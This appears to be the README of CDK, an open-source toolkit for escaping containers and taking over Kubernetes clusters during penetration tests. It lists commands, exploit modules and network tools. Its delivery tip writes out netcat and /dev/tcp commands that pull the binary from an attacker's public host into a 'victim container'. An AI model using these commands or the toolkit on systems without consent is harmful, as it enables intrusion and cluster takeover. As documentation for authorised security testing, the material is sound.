Legal Disclaimer

Usage of CDK for attacking targets without prior mutual consent is illegal. CDK is for security testing purposes only.

Overview

CDK is an open-sourced container penetration toolkit, designed for offering stable exploitation in different slimmed containers without any OS dependency. It comes with useful net-tools and many powerful PoCs/EXPs and helps you to escape container and take over K8s cluster easily.

Installation/Delivery

Download latest release in https://github.com/cdk-team/CDK/releases/

Drop executable files into the target container and start testing.

TIPS: Deliver CDK into target container in real-world penetration testing

If you have an exploit that can upload a file, then you can upload CDK binary directly.

If you have a RCE exploit, but the target container has no curl or wget, you can use the following method to deliver CDK:

  1. First, host CDK binary on your host with public IP.
(on your host)
nc -lvp 999 < cdk
  1. Inside the victim container execute
cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
chmod a+x cdk

Usage

Usage:
  cdk evaluate [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk auto-escape <cmd>
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              Gather information to find weakness inside container.
  cdk evaluate --full                       Enable file scan during information gathering.

Exploit:
  cdk run --list                            List all available exploits.
  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/cdk-team/CDK/wiki

Auto Escape:
  cdk auto-escape <cmd>                     Escape container in different ways then let target execute <cmd>.

Tool:
  vi <file>                                 Edit files in container like "vi" command.
  ps                                        Show process information like "ps -ef" command.
  nc [options]                              Create TCP tunnel.
  ifconfig                                  Show network information.
  kcurl <path> (get|post) <uri> <data>      Make request to K8s api-server.
  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
  -h --help     Show this help msg.
  -v --version  Show version.

Features

CDK has three modules:

  1. Evaluate: gather information inside container to find potential weakness.
  2. Exploit: for container escaping, persistance and lateral movement
  3. Tool: network-tools and APIs for TCP/HTTP requests, tunnels and K8s cluster management.

Evaluate Module

Usage

cdk evaluate [--full]

This command will run the scripts below without local file scanning, using --full to enable all.

Note about Thin: The thin release is prepared for short life container shells such as serverless functions. We add build tags in source code and cut a few exploits to get the binary lighter. The 2MB file contains 90% of CDK functions, also you can pick up useful exploits in CDK source code to build your own lightweight binary.

Tool Module

Running commands like in Linux, little different in input-args, see the usage link.

cdk nc [options]
cdk ps
Command Description Supported Usage/Example
nc TCP Tunnel link
ps Process Information link
ifconfig Network Information link
vi Edit Files link
kcurl Request to K8s api-server link
dcurl Request to Docker HTTP API link
ucurl Request to Docker Unix Socket link
rcurl Request to Docker Registry API
probe IP/Port Scanning link

Release Document

If you want to know how we released a new version, how thin is produced, why we provide upx versions, what the differences between different versions about all, normal, thin, upx are, and how to choose specific CDK exploits and tools to compile an own release for yourself, please check the Release Document.
